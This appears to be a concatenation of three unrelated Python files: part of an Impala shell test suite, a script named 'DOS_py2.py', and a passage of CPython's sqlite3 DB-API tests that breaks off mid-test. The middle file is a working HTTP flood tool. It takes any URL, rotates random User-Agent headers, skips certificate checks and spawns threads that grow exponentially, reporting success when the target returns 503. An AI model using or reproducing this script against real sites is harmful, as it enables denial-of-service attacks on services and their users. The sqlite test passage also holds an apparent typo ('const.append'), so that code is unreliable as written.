'select * from {0};'.format(table))
assert 'Fetched 1 row(s)' in result.stderr
result = run_impala_shell_interactive(vector, '/* 한글 */\n'
'select * from {0};'.format(table))
assert 'Fetched 1 row(s)' in result.stderr
result = run_impala_shell_interactive(vector, '/* comment */\n'
'select * from {0};'.format(table))
assert 'Fetched 1 row(s)' in result.stderr
result = run_impala_shell_interactive(vector, '/* comment1 */\n'
'-- comment2\n'
'select * from {0};'.format(table))
assert 'Fetched 1 row(s)' in result.stderr
result = run_impala_shell_interactive(vector, '/* comment1\n'
'comment2 */ select * from {0};'.format(table))
assert 'Fetched 1 row(s)' in result.stderr
result = run_impala_shell_interactive(vector, '/* select * from {0} */ '
'select * from {0};'.format(table))
assert 'Fetched 1 row(s)' in result.stderr
result = run_impala_shell_interactive(vector, '/* comment */ help use')
assert 'Executes a USE... query' in result.stdout
result = run_impala_shell_interactive(vector, '-- comment\n'
' help use;')
assert 'Executes a USE... query' in result.stdout
result = run_impala_shell_interactive(vector, '/* comment1 */\n'
'-- comment2\n'
'desc {0};'.format(table))
assert 'Fetched 1 row(s)' in result.stderr
result = run_impala_shell_interactive(vector, '/* comment1 */\n'
'-- comment2\n'
'help use;')
assert 'Executes a USE... query' in result.stdout
def test_line_ends_with_comment(self, vector):
if vector.get_value('strict_hs2_protocol'):
pytest.skip("IMPALA-10827: Not working in strict hs2 mode.")
# IMPALA-5269: Test lines that end with a comment.
queries = ['select 1 + 1; --comment',
'select 1 + 1 --comment\n;']
for query in queries:
result = run_impala_shell_interactive(vector, query)
assert '| 1 + 1 |' in result.stdout
assert '| 2 |' in result.stdout
queries = ['select \'some string\'; --comment',
'select \'some string\' --comment\n;']
for query in queries:
result = run_impala_shell_interactive(vector, query)
assert '| \'some string\' |' in result.stdout
assert '| some string |' in result.stdout
queries = ['select "--"; -- "--"',
'select \'--\'; -- "--"',
'select "--" -- "--"\n;',
'select \'--\' -- "--"\n;']
for query in queries:
result = run_impala_shell_interactive(vector, query)
assert '| \'--\' |' in result.stdout
assert '| -- |' in result.stdout
query = ('select * from (\n' +
'select count(*) from functional.alltypes\n' +
') v; -- Incomplete SQL statement in this line')
result = run_impala_shell_interactive(vector, query)
assert '| count(*) |' in result.stdout
query = ('select id from functional.alltypes\n' +
'order by id; /*\n' +
'* Multi-line comment\n' +
'*/')
result = run_impala_shell_interactive(vector, query)
assert '| id |' in result.stdout
def test_fix_infinite_loop(self, vector):
# IMPALA-6337: Fix infinite loop.
# In case of TL;DR:
# - see IMPALA-9362 for details
# - see tests/shell/util.py for explanation of IMPALA_SHELL_EXECUTABLE
if os.getenv("IMPALA_HOME") not in IMPALA_SHELL_EXECUTABLE:
# The fix for IMPALA-6337 involved patching our internal verison of
# sqlparse 0.1.19 in ${IMPALA_HOME}/shell/ext-py. However, when we
# create the the stand-alone python package of the impala-shell for PyPI,
# we don't include the bundled 3rd party libs -- we expect users to
# install 3rd upstream libraries from PyPI.
#
# We could try to bundle sqlparse with the PyPI package, but there we
# run into the issue that the our bundled version is not python 3
# compatible. The real fix for this would be to upgrade to sqlparse 0.3.0,
# but that's not without complications. See IMPALA-9362 for details.
#
# For the time being, what this means is that IMPALA-6337 is fixed for
# people who are running the shell locally from any host/node that's part
# of a cluster where Impala is installed, but if they are running a
# standalone version of the shell on a client outside of a cluster, then
# they will still be relying on the upstream version of sqlparse 0.1.19,
# and so they may still be affected by the IMPALA-6337.
#
pytest.skip("Test will fail if shell is not part of dev environment.")
result = run_impala_shell_interactive(vector, "select 1 + 1; \"\n;\";")
if vector.get_value('strict_hs2_protocol'):
assert '| 2 |' in result.stdout
else:
assert '| 2 |' in result.stdout
result = run_impala_shell_interactive(vector, "select '1234'\";\n;\n\";")
assert '| 1234 |' in result.stdout
result = run_impala_shell_interactive(vector, "select 1 + 1; \"\n;\"\n;")
if vector.get_value('strict_hs2_protocol'):
assert '| 2 |' in result.stdout
else:
assert '| 2 |' in result.stdout
result = run_impala_shell_interactive(vector, "select '1\\'23\\'4'\";\n;\n\";")
assert '| 1\'23\'4 |' in result.stdout
result = run_impala_shell_interactive(vector, "select '1\"23\"4'\";\n;\n\";")
assert '| 1"23"4 |' in result.stdout
def test_comment_with_quotes(self, vector):
# IMPALA-2751: Comment does not need to have matching quotes
queries = [
"select -- '\n1;",
'select -- "\n1;',
"select -- \"'\n 1;",
"select /*'\n*/ 1;",
'select /*"\n*/ 1;',
"select /*\"'\n*/ 1;",
"with a as (\nselect 1\n-- '\n) select * from a",
'with a as (\nselect 1\n-- "\n) select * from a',
"with a as (\nselect 1\n-- '\"\n) select * from a",
]
for query in queries:
result = run_impala_shell_interactive(vector, query)
assert '| 1 ' in result.stdout
def test_shell_prompt(self, vector):
shell_cmd = get_shell_cmd(vector)
proc = spawn_shell(shell_cmd)
proc.expect(":{0}] default>".format(get_impalad_port(vector)))
self._expect_with_cmd(proc, "use foo", vector, (), 'default')
self._expect_with_cmd(proc, "use functional", vector, (), 'functional')
self._expect_with_cmd(proc, "use foo", vector, (), 'functional')
self._expect_with_cmd(proc, 'use `tpch`', vector, (), 'tpch')
self._expect_with_cmd(proc, 'use ` tpch `', vector, (), 'tpch')
proc = spawn_shell(shell_cmd + ['-d', 'functional'])
proc.expect(":{0}] functional>".format(get_impalad_port(vector)))
self._expect_with_cmd(proc, "use foo", vector, (), 'functional')
self._expect_with_cmd(proc, "use tpch", vector, (), 'tpch')
self._expect_with_cmd(proc, "use foo", vector, (), 'tpch')
proc = spawn_shell(shell_cmd + ['-d', ' functional '])
proc.expect(":{0}] functional>".format(get_impalad_port(vector)))
proc = spawn_shell(shell_cmd + ['-d', '` functional `'])
proc.expect(":{0}] functional>".format(get_impalad_port(vector)))
# Start an Impala shell with an invalid DB.
proc = spawn_shell(shell_cmd + ['-d', 'foo'])
proc.expect(":{0}] default>".format(get_impalad_port(vector)))
self._expect_with_cmd(proc, "use foo", vector, (), 'default')
self._expect_with_cmd(proc, "use functional", vector, (), 'functional')
self._expect_with_cmd(proc, "use foo", vector, (), 'functional')
proc.sendeof()
proc.wait()
def test_strip_leading_comment(self, vector):
"""Test stripping leading comments from SQL statements"""
assert ('--delete\n', 'select 1') == \
ImpalaShellClass.strip_leading_comment('--delete\nselect 1')
assert ('--delete\n', 'select --do not delete\n1') == \
ImpalaShellClass.strip_leading_comment('--delete\nselect --do not delete\n1')
assert (None, 'select --do not delete\n1') == \
ImpalaShellClass.strip_leading_comment('select --do not delete\n1')
assert ('/*delete*/\n', 'select 1') == \
ImpalaShellClass.strip_leading_comment('/*delete*/\nselect 1')
assert ('/*delete\nme*/\n', 'select 1') == \
ImpalaShellClass.strip_leading_comment('/*delete\nme*/\nselect 1')
assert ('/*delete\nme*/\n', 'select 1') == \
ImpalaShellClass.strip_leading_comment('/*delete\nme*/\nselect 1')
assert ('/*delete*/', 'select 1') == \
ImpalaShellClass.strip_leading_comment('/*delete*/select 1')
assert ('/*delete*/ ', 'select /*do not delete*/ 1') == \
ImpalaShellClass.strip_leading_comment('/*delete*/ select /*do not delete*/ 1')
assert ('/*delete1*/ \n/*delete2*/ \n--delete3 \n', 'select /*do not delete*/ 1') == \
ImpalaShellClass.strip_leading_comment('/*delete1*/ \n'
'/*delete2*/ \n'
'--delete3 \n'
'select /*do not delete*/ 1')
assert (None, 'select /*do not delete*/ 1') == \
ImpalaShellClass.strip_leading_comment('select /*do not delete*/ 1')
assert ('/*delete*/\n', 'select c1 from\n'
'a\n'
'join -- +SHUFFLE\n'
'b') == \
ImpalaShellClass.strip_leading_comment('/*delete*/\n'
'select c1 from\n'
'a\n'
'join -- +SHUFFLE\n'
'b')
assert ('/*delete*/\n', 'select c1 from\n'
'a\n'
'join /* +SHUFFLE */\n'
'b') == \
ImpalaShellClass.strip_leading_comment('/*delete*/\n'
'select c1 from\n'
'a\n'
'join /* +SHUFFLE */\n'
'b')
assert (None, 'select 1') == \
ImpalaShellClass.strip_leading_comment('select 1')
def test_malformed_query(self, vector):
"""Test the handling of malformed query without closing quotation"""
shell = ImpalaShell(vector)
query = "with v as (select 1) \nselect foo('\\\\'), ('bar \n;"
shell.send_cmd(query)
result = shell.get_result()
if vector.get_value('strict_hs2_protocol'):
assert "ParseException" in result.stderr,\
result.stderr
else:
assert "ERROR: ParseException: Unmatched string literal" in result.stderr,\
result.stderr
def test_utf8_error_message(self, vector):
if vector.get_value('strict_hs2_protocol'):
pytest.skip("The now() function is Impala specific.")
"""Test UTF-8 error messages are shown correctly"""
shell = ImpalaShell(vector)
query = "select cast(now() as string format 'yyyy年MM月dd日')"
shell.send_cmd(query)
result = shell.get_result()
assert "ERROR: Bad date/time conversion format: yyyy年MM月dd日" in result.stderr,\
result.stderr
def test_timezone_validation(self, vector):
"""Test that query option TIMEZONE is validated when executing a query.
Query options are not sent to the coordinator immediately, so the error checking
will only happen when running a query.
"""
if vector.get_value('strict_hs2_protocol'):
pytest.skip("Set command not supported in strict hs2 mode.")
p = ImpalaShell(vector)
p.send_cmd('set timezone=BLA;')
p.send_cmd('select 1;')
results = p.get_result()
assert "Fetched 1 row" not in results.stderr
# assert "ERROR: Errors parsing query options" in results.stderr, results.stderr
assert "Invalid timezone name 'BLA'" in results.stderr, results.stderr
def test_with_clause(self, vector):
# IMPALA-7939: Fix issue where CTE that contains "insert", "upsert", "update", or
# "delete" is categorized as a DML statement.
for keyword in ["insert", "upsert", "update", "delete", "\\'insert\\'",
"\\'upsert\\'", "\\'update\\'", "\\'delete\\'"]:
p = ImpalaShell(vector)
cmd = ("with foo as "
"(select * from functional.alltypestiny where string_col='%s') "
"select * from foo limit 1" % keyword)
p.send_cmd(cmd)
result = p.get_result()
assert "Fetched 0 row" in result.stderr
def test_quotes_in_with_clause(self, vector):
# IMPALA-10051: This test verifies that the fix prevents ValueErrors caused by
# shlex library when quotes and whitespace characters are mixed.
p = ImpalaShell(vector)
cmd = ("with foo as "
"(select *, regexp_replace(string_col,\"[a-zA-Z]\",\"+ \") "
"from functional.alltypestiny) "
"select * from foo limit 1")
p.send_cmd(cmd)
result = p.get_result()
assert "Fetched 1 row" in result.stderr
def test_http_interactions(self, vector, http_503_server):
"""Test interactions with the http server when using hs2-http protocol.
Check that the shell prints a good message when the server returns a 503 error."""
protocol = vector.get_value("protocol")
if protocol != 'hs2-http':
pytest.skip()
# Check that we get a message about the 503 error when we try to connect.
shell_args = ["--protocol={0}".format(protocol),
"-i{0}:{1}".format(http_503_server.HOST, http_503_server.PORT)]
shell_proc = spawn_shell([IMPALA_SHELL_EXECUTABLE] + shell_args)
shell_proc.expect("HTTP code 503", timeout=10)
def test_http_interactions_extra(self, vector, http_503_server_extra):
"""Test interactions with the http server when using hs2-http protocol.
Check that the shell prints a good message when the server returns a 503 error,
including the body text from the message."""
protocol = vector.get_value("protocol")
if protocol != 'hs2-http':
pytest.skip()
# Check that we get a message about the 503 error when we try to connect.
shell_args = ["--protocol={0}".format(protocol),
"-i{0}:{1}".format(http_503_server_extra.HOST,
http_503_server_extra.PORT)]
shell_proc = spawn_shell([IMPALA_SHELL_EXECUTABLE] + shell_args)
shell_proc.expect("HTTP code 503: Service Unavailable \[EXTRA\]", timeout=10)
def run_impala_shell_interactive(vector, input_lines, shell_args=None,
wait_until_connected=True):
"""Runs a command in the Impala shell interactively."""
# if argument "input_lines" is a string, makes it into a list
if type(input_lines) is str:
input_lines = [input_lines]
# workaround to make Popen environment 'utf-8' compatible
# since piping defaults to ascii
my_env = os.environ
my_env['PYTHONIOENCODING'] = 'utf-8'
p = ImpalaShell(vector, args=shell_args, env=my_env,
wait_until_connected=wait_until_connected)
for line in input_lines:
LOG.info("Running %s" % line)
p.send_cmd(line)
return p.get_result()
|
DOS_py2.py | import threading
import urllib2
import random as r
import ssl
mn = 0
mx = 0
d = 0
i = 1
agents_array=[]
target = raw_input('URL: ')
ctx = ssl._create_unverified_context() #Create context
with open("user-agents.txt") as file:
for line in file:
agents_array.append(line)
def send_req(f):
global target
try:
req=urllib2.Request(target,headers={'User-Agent':'%s'%r.choice(agents_array).replace('\n','')}) #Add random user Agent
urllib2.urlopen(req,context=ctx)
except urllib2.HTTPError as e:
if e.code == 503: # Request Limit Reached
print 'DOS Successful!'
if e.code == 404: #Page not Found
print 'Please Enter valid URL'
def bot_net(mn,mx,argfn):
global i
i+=1
print 'Request %d'%i
if i>mx:
return 0
send_req(i)
for j in range(mn,i):
thread = threading.Thread(target=bot_net,args=(mn,mx,argfn,))
thread.start()
bot_net(1,500,send_req) #Creates Network that sends requests to website in exponential manner
'''
Threads Structure
*
**
****
********
****************
********************************
...
'''
|
test_dbapi.py | # pysqlite2/test/dbapi.py: tests for DB-API compliance
#
# Copyright (C) 2004-2010 Gerhard Häring <gh@ghaering.de>
#
# This file is part of pysqlite.
#
# This software is provided 'as-is', without any express or implied
# warranty. In no event will the authors be held liable for any damages
# arising from the use of this software.
#
# Permission is granted to anyone to use this software for any purpose,
# including commercial applications, and to alter it and redistribute it
# freely, subject to the following restrictions:
#
# 1. The origin of this software must not be misrepresented; you must not
# claim that you wrote the original software. If you use this software
# in a product, an acknowledgment in the product documentation would be
# appreciated but is not required.
# 2. Altered source versions must be plainly marked as such, and must not be
# misrepresented as being the original software.
# 3. This notice may not be removed or altered from any source distribution.
import contextlib
import sqlite3 as sqlite
import subprocess
import sys
import threading
import unittest
from test.support import (
SHORT_TIMEOUT,
check_disallow_instantiation,
threading_helper,
)
from test.support.os_helper import TESTFN, unlink, temp_dir
# Helper for tests using TESTFN
@contextlib.contextmanager
def managed_connect(*args, in_mem=False, **kwargs):
cx = sqlite.connect(*args, **kwargs)
try:
yield cx
finally:
cx.close()
if not in_mem:
unlink(TESTFN)
# Helper for temporary memory databases
def memory_database():
cx = sqlite.connect(":memory:")
return contextlib.closing(cx)
# Temporarily limit a database connection parameter
@contextlib.contextmanager
def cx_limit(cx, category=sqlite.SQLITE_LIMIT_SQL_LENGTH, limit=128):
try:
_prev = cx.setlimit(category, limit)
yield limit
finally:
cx.setlimit(category, _prev)
class ModuleTests(unittest.TestCase):
def test_api_level(self):
self.assertEqual(sqlite.apilevel, "2.0",
"apilevel is %s, should be 2.0" % sqlite.apilevel)
def test_thread_safety(self):
self.assertIn(sqlite.threadsafety, {0, 1, 3},
"threadsafety is %d, should be 0, 1 or 3" %
sqlite.threadsafety)
def test_param_style(self):
self.assertEqual(sqlite.paramstyle, "qmark",
"paramstyle is '%s', should be 'qmark'" %
sqlite.paramstyle)
def test_warning(self):
self.assertTrue(issubclass(sqlite.Warning, Exception),
"Warning is not a subclass of Exception")
def test_error(self):
self.assertTrue(issubclass(sqlite.Error, Exception),
"Error is not a subclass of Exception")
def test_interface_error(self):
self.assertTrue(issubclass(sqlite.InterfaceError, sqlite.Error),
"InterfaceError is not a subclass of Error")
def test_database_error(self):
self.assertTrue(issubclass(sqlite.DatabaseError, sqlite.Error),
"DatabaseError is not a subclass of Error")
def test_data_error(self):
self.assertTrue(issubclass(sqlite.DataError, sqlite.DatabaseError),
"DataError is not a subclass of DatabaseError")
def test_operational_error(self):
self.assertTrue(issubclass(sqlite.OperationalError, sqlite.DatabaseError),
"OperationalError is not a subclass of DatabaseError")
def test_integrity_error(self):
self.assertTrue(issubclass(sqlite.IntegrityError, sqlite.DatabaseError),
"IntegrityError is not a subclass of DatabaseError")
def test_internal_error(self):
self.assertTrue(issubclass(sqlite.InternalError, sqlite.DatabaseError),
"InternalError is not a subclass of DatabaseError")
def test_programming_error(self):
self.assertTrue(issubclass(sqlite.ProgrammingError, sqlite.DatabaseError),
"ProgrammingError is not a subclass of DatabaseError")
def test_not_supported_error(self):
self.assertTrue(issubclass(sqlite.NotSupportedError,
sqlite.DatabaseError),
"NotSupportedError is not a subclass of DatabaseError")
def test_module_constants(self):
consts = [
"SQLITE_ABORT",
"SQLITE_ALTER_TABLE",
"SQLITE_ANALYZE",
"SQLITE_ATTACH",
"SQLITE_AUTH",
"SQLITE_BUSY",
"SQLITE_CANTOPEN",
"SQLITE_CONSTRAINT",
"SQLITE_CORRUPT",
"SQLITE_CREATE_INDEX",
"SQLITE_CREATE_TABLE",
"SQLITE_CREATE_TEMP_INDEX",
"SQLITE_CREATE_TEMP_TABLE",
"SQLITE_CREATE_TEMP_TRIGGER",
"SQLITE_CREATE_TEMP_VIEW",
"SQLITE_CREATE_TRIGGER",
"SQLITE_CREATE_VIEW",
"SQLITE_CREATE_VTABLE",
"SQLITE_DELETE",
"SQLITE_DENY",
"SQLITE_DETACH",
"SQLITE_DONE",
"SQLITE_DROP_INDEX",
"SQLITE_DROP_TABLE",
"SQLITE_DROP_TEMP_INDEX",
"SQLITE_DROP_TEMP_TABLE",
"SQLITE_DROP_TEMP_TRIGGER",
"SQLITE_DROP_TEMP_VIEW",
"SQLITE_DROP_TRIGGER",
"SQLITE_DROP_VIEW",
"SQLITE_DROP_VTABLE",
"SQLITE_EMPTY",
"SQLITE_ERROR",
"SQLITE_FORMAT",
"SQLITE_FULL",
"SQLITE_FUNCTION",
"SQLITE_IGNORE",
"SQLITE_INSERT",
"SQLITE_INTERNAL",
"SQLITE_INTERRUPT",
"SQLITE_IOERR",
"SQLITE_LOCKED",
"SQLITE_MISMATCH",
"SQLITE_MISUSE",
"SQLITE_NOLFS",
"SQLITE_NOMEM",
"SQLITE_NOTADB",
"SQLITE_NOTFOUND",
"SQLITE_OK",
"SQLITE_PERM",
"SQLITE_PRAGMA",
"SQLITE_PROTOCOL",
"SQLITE_RANGE",
"SQLITE_READ",
"SQLITE_READONLY",
"SQLITE_REINDEX",
"SQLITE_ROW",
"SQLITE_SAVEPOINT",
"SQLITE_SCHEMA",
"SQLITE_SELECT",
"SQLITE_TOOBIG",
"SQLITE_TRANSACTION",
"SQLITE_UPDATE",
# Run-time limit categories
"SQLITE_LIMIT_LENGTH",
"SQLITE_LIMIT_SQL_LENGTH",
"SQLITE_LIMIT_COLUMN",
"SQLITE_LIMIT_EXPR_DEPTH",
"SQLITE_LIMIT_COMPOUND_SELECT",
"SQLITE_LIMIT_VDBE_OP",
"SQLITE_LIMIT_FUNCTION_ARG",
"SQLITE_LIMIT_ATTACHED",
"SQLITE_LIMIT_LIKE_PATTERN_LENGTH",
"SQLITE_LIMIT_VARIABLE_NUMBER",
"SQLITE_LIMIT_TRIGGER_DEPTH",
]
if sqlite.sqlite_version_info >= (3, 7, 17):
consts += ["SQLITE_NOTICE", "SQLITE_WARNING"]
if sqlite.sqlite_version_info >= (3, 8, 3):
consts.append("SQLITE_RECURSIVE")
if sqlite.sqlite_version_info >= (3, 8, 7):
consts.append("SQLITE_LIMIT_WORKER_THREADS")
consts += ["PARSE_DECLTYPES", "PARSE_COLNAMES"]
# Extended result codes
consts += [
"SQLITE_ABORT_ROLLBACK",
"SQLITE_BUSY_RECOVERY",
"SQLITE_CANTOPEN_FULLPATH",
"SQLITE_CANTOPEN_ISDIR",
"SQLITE_CANTOPEN_NOTEMPDIR",
"SQLITE_CORRUPT_VTAB",
"SQLITE_IOERR_ACCESS",
"SQLITE_IOERR_BLOCKED",
"SQLITE_IOERR_CHECKRESERVEDLOCK",
"SQLITE_IOERR_CLOSE",
"SQLITE_IOERR_DELETE",
"SQLITE_IOERR_DELETE_NOENT",
"SQLITE_IOERR_DIR_CLOSE",
"SQLITE_IOERR_DIR_FSYNC",
"SQLITE_IOERR_FSTAT",
"SQLITE_IOERR_FSYNC",
"SQLITE_IOERR_LOCK",
"SQLITE_IOERR_NOMEM",
"SQLITE_IOERR_RDLOCK",
"SQLITE_IOERR_READ",
"SQLITE_IOERR_SEEK",
"SQLITE_IOERR_SHMLOCK",
"SQLITE_IOERR_SHMMAP",
"SQLITE_IOERR_SHMOPEN",
"SQLITE_IOERR_SHMSIZE",
"SQLITE_IOERR_SHORT_READ",
"SQLITE_IOERR_TRUNCATE",
"SQLITE_IOERR_UNLOCK",
"SQLITE_IOERR_WRITE",
"SQLITE_LOCKED_SHAREDCACHE",
"SQLITE_READONLY_CANTLOCK",
"SQLITE_READONLY_RECOVERY",
]
if sqlite.version_info >= (3, 7, 16):
consts += [
"SQLITE_CONSTRAINT_CHECK",
"SQLITE_CONSTRAINT_COMMITHOOK",
"SQLITE_CONSTRAINT_FOREIGNKEY",
"SQLITE_CONSTRAINT_FUNCTION",
"SQLITE_CONSTRAINT_NOTNULL",
"SQLITE_CONSTRAINT_PRIMARYKEY",
"SQLITE_CONSTRAINT_TRIGGER",
"SQLITE_CONSTRAINT_UNIQUE",
"SQLITE_CONSTRAINT_VTAB",
"SQLITE_READONLY_ROLLBACK",
]
if sqlite.version_info >= (3, 7, 17):
consts += [
"SQLITE_IOERR_MMAP",
"SQLITE_NOTICE_RECOVER_ROLLBACK",
"SQLITE_NOTICE_RECOVER_WAL",
]
if sqlite.version_info >= (3, 8, 0):
consts += [
"SQLITE_BUSY_SNAPSHOT",
"SQLITE_IOERR_GETTEMPPATH",
"SQLITE_WARNING_AUTOINDEX",
]
if sqlite.version_info >= (3, 8, 1):
consts += ["SQLITE_CANTOPEN_CONVPATH", "SQLITE_IOERR_CONVPATH"]
if sqlite.version_info >= (3, 8, 2):
consts.append("SQLITE_CONSTRAINT_ROWID")
if sqlite.version_info >= (3, 8, 3):
consts.append("SQLITE_READONLY_DBMOVED")
if sqlite.version_info >= (3, 8, 7):
consts.append("SQLITE_AUTH_USER")
if sqlite.version_info >= (3, 9, 0):
consts.append("SQLITE_IOERR_VNODE")
if sqlite.version_info >= (3, 10, 0):
consts.append("SQLITE_IOERR_AUTH")
if sqlite.version_info >= (3, 14, 1):
consts.append("SQLITE_OK_LOAD_PERMANENTLY")
if sqlite.version_info >= (3, 21, 0):
consts += [
"SQLITE_IOERR_BEGIN_ATOMIC",
"SQLITE_IOERR_COMMIT_ATOMIC",
"SQLITE_IOERR_ROLLBACK_ATOMIC",
]
if sqlite.version_info >= (3, 22, 0):
consts += [
"SQLITE_ERROR_MISSING_COLLSEQ",
"SQLITE_ERROR_RETRY",
"SQLITE_READONLY_CANTINIT",
"SQLITE_READONLY_DIRECTORY",
]
if sqlite.version_info >= (3, 24, 0):
consts += ["SQLITE_CORRUPT_SEQUENCE", "SQLITE_LOCKED_VTAB"]
if sqlite.version_info >= (3, 25, 0):
consts += ["SQLITE_CANTOPEN_DIRTYWAL", "SQLITE_ERROR_SNAPSHOT"]
if sqlite.version_info >= (3, 31, 0):
consts += [
"SQLITE_CANTOPEN_SYMLINK",
"SQLITE_CONSTRAINT_PINNED",
"SQLITE_OK_SYMLINK",
]
if sqlite.version_info >= (3, 32, 0):
consts += [
"SQLITE_BUSY_TIMEOUT",
"SQLITE_CORRUPT_INDEX",
"SQLITE_IOERR_DATA",
]
if sqlite.version_info >= (3, 34, 0):
const.append("SQLITE_IOERR_CORRUPTFS")
for const in consts:
with self.subTest(const=const):
self.assertTrue(hasattr(sqlite, const))
def test_error_code_on_exception(self):
err_msg = "unable to open database file"
if sys.platform.startswith("win"):
err_code = sqlite.SQLITE_CANTOPEN_ISDIR
else:
err_code = sqlite.SQLITE_CANTOPEN
with temp_dir() as db:
with self.assertRaisesRegex(sqlite.Error, err_msg) as cm:
sqlite.connect(db)
e = cm.exception
self.assertEqual(e.sqlite_errorcode, err_code)
self.assertTrue(e.sqlite_errorname.startswith("SQLITE_CANTOPEN"))
@unittest.skipIf(sqlite.sqlite_version_info <= (3, 7, 16),
"Requires SQLite 3.7.16 or newer")
def test_extended_error_code_on_exception(self):
with managed_connect(":memory:", in_mem=True) as con:
with con:
con.execute("create table t(t integer check(t > 0))")
errmsg = "constraint failed"
with self.assertRaisesRegex(sqlite.IntegrityError, errmsg) as cm:
con.execute("insert into t values(-1)")
exc = cm.exception
self.assertEqual(exc.sqlite_errorcode,
sqlite.SQLITE_CONSTRAINT_CHECK)
self.assertEqual(exc.sqlite_errorname, "SQLITE_CONSTRAINT_CHECK")
# sqlite3_enable_shared_cache() is deprecated on macOS and calling it may raise
# OperationalError on some buildbots.
@unittest.skipIf(sys.platform == "darwin", "shared cache is deprecated on macOS")
def test_shared_cache_deprecated(self):
for enable in (True, False):
with self.assertWarns(DeprecationWarning) as cm:
sqlite.enable_shared_cache(enable)
self.assertIn("dbapi.py", cm.filename)
def test_disallow_instantiation(self):
cx = sqlite.connect(":memory:")
check_disallow_instantiation(self, type(cx("select 1")))
def test_complete_statement(self):
self.assertFalse(sqlite.complete_statement("select t"))
self.assertTrue(sqlite.complete_statement("create table t(t);"))
class ConnectionTests(unittest.TestCase):
def setUp(self):
self.cx = sqlite.connect(":memory:")
cu = self.cx.cursor()
cu.execute("create table test(id integer primary key, name text)")
cu.execute("insert into test(name) values (?)", ("foo",))
def tearDown(self):
self.cx.close()
def test_commit(self):
self.cx.commit()
def test_commit_after_no_changes(self):
"""
A commit should also work when no changes were made to the database.
"""
self.cx.commit()
self.cx.commit()
def test_rollback(self):
self.cx.rollback()
def test_rollback_after_no_changes(self):
"""
A rollback should also work when no changes were made to the database.
"""
self.cx.rollback()
self.cx.rollback()
def test_cursor(self):
cu = self.cx.cursor()
def test_failed_open(self):
YOU_CANNOT_OPEN_THIS = "/foo/bar/bla/23534/mydb.db"
with self.assertRaises(sqlite.OperationalError):
con = sqlite.connect(YOU_CANNOT_OPEN_THIS)
def test_close(self):
self.cx.close()
def test_use_after_close(self):
sql = "select 1"
cu = self.cx.cursor()
res = cu.execute(sql)
self.cx.close()
self.assertRaises(sqlite.ProgrammingError, res.fetchall)
self.assertRaises(sqlite.ProgrammingError, cu.execute, sql)
self.assertRaises(sqlite.ProgrammingError, cu.executemany, sql, [])
self.assertRaises(sqlite.ProgrammingError, cu.executescript, sql)
self.assertRaises(sqlite.ProgrammingError, self.cx.execute, sql)
self.assertRaises(sqlite.ProgrammingError,
self.cx.executemany, sql, [])
self.assertRaises(sqlite.ProgrammingError, self.cx.executescript, sql)
self.assertRaises(sqlite.ProgrammingError,
self.cx.create_function, "t", 1, lambda x: x)
self.assertRaises(sqlite.ProgrammingError, self.cx.cursor)
with self.assertRaises(sqlite.ProgrammingError):
with self.cx:
pass
def test_exceptions(self):
# Optional DB-API extension.
self.assertEqual(self.cx.Warning, sqlite.Warning)
self.assertEqual(self.cx.Error, sqlite.Error)
self.assertEqual(self.cx.InterfaceError, sqlite.InterfaceError)
self.assertEqual(self.cx.DatabaseError, sqlite.DatabaseError)
self.assertEqual(self.cx.DataError, sqlite.DataError)
self.assertEqual(self.cx.OperationalError, sqlite.OperationalError)
self.assertEqual(self.cx.IntegrityError, sqlite.IntegrityError)
self.assertEqual(self.cx.InternalError, sqlite.InternalError)
self.assertEqual(self.cx.ProgrammingError, sqlite.ProgrammingError)
self.assertEqual(self.cx.NotSupportedError, sqlite.NotSupportedError)
def test_in_transaction(self):
# Can't use db from setUp because we want to test initial state.
cx = sqlite.connect(":memory:")
cu = cx.cursor()
self.assertEqual(cx.in_transaction, False)
cu.execute("create table transactiontest(id integer primary key, name text)")
self.assertEqual(cx.in_transaction, False)
cu.execute("insert into transactiontest(name) values (?)", ("foo",))
self.assertEqual(cx.in_transaction, True)
cu.execute("select name from transactiontest where name=?", ["foo"])
row = cu.fetchone()
self.assertEqual(cx.in_transaction, True)
cx.commit()
self.assertEqual(cx.in_transaction, False)
cu.execute("select name from transactiontest where name=?", ["foo"])
row = cu.fetchone()
self.assertEqual(cx.in_transaction, False)
def test_in_transaction_ro(self):
with self.assertRaises(AttributeError):
self.cx.in_transaction = True
def test_connection_exceptions(self):
exceptions = [
"DataError",
"DatabaseError",
"Error",
"IntegrityError",
"InterfaceError",
"NotSupportedError",
"OperationalError",
"ProgrammingError",
"Warning",
]
for exc in exceptions:
with self.subTest(exc=exc):
self.assertTrue(hasattr(self.cx, exc))
self.assertIs(getattr(sqlite, exc), getattr(self.cx, exc))
def test_interrupt_on_closed_db(self):
cx = sqlite.connect(":memory:")
cx.close()
with self.assertRaises(sqlite.ProgrammingError):
cx.interrupt()
def test_interrupt(self):
self.assertIsNone(self.cx.interrupt())
def test_drop_unused_refs(self):
for n in range(500):
cu = self.cx.execute(f"select {n}")
self.assertEqual(cu.fetchone()[0], n)
def test_connection_limits(self):
category = sqlite.SQLITE_LIMIT_SQL_LENGTH
saved_limit = self.cx.getlimit(category)
try:
new_limit = 10
prev_limit = self.cx.setlimit(category, new_limit)
self.assertEqual(saved_limit, prev_limit)
self.assertEqual(self.cx.getlimit(category), new_limit)
msg = "query string is too large"
self.assertRaisesRegex(sqlite.DataError, msg,
self.cx.execute, "select 1 as '16'")
finally: # restore saved limit
self.cx.setlimit(category, saved_limit)
def test_connection_bad_limit_category(self):
msg = "'category' is out of bounds"
cat = 1111
self.assertRaisesRegex(sqlite.ProgrammingError, msg,
self.cx.getlimit, cat)
self.assertRaisesRegex(sqlite.ProgrammingError, msg,
self.cx.setlimit, cat, 0)
class UninitialisedConnectionTests(unittest.TestCase):
def setUp(self):
self.cx = sqlite.Connection.__new__(sqlite.Connection)
def test_uninit_operations(self):
funcs = (
lambda: self.cx.isolation_level,
lambda: self.cx.total_changes,
lambda: self.cx.in_transaction,
lambda: self.cx.iterdump(),
lambda: self.cx.cursor(),
lambda: self.cx.close(),
)
for func in funcs:
with self.subTest(func=func):
self.assertRaisesRegex(sqlite.ProgrammingError,
"Base Connection.__init__ not called",
func)
class OpenTests(unittest.TestCase):
_sql = "create table test(id integer)"
def test_open_with_path_like_object(self):
""" Checks that we can successfully connect to a database using an object that
is PathLike, i.e. has __fspath__(). """
class Path:
def __fspath__(self):
return TESTFN
path = Path()
with managed_connect(path) as cx:
cx.execute(self._sql)
def test_open_uri(self):
with managed_connect(TESTFN) as cx:
cx.execute(self._sql)
with managed_connect(f"file:{TESTFN}", uri=True) as cx:
cx.execute(self._sql)
with self.assertRaises(sqlite.OperationalError):
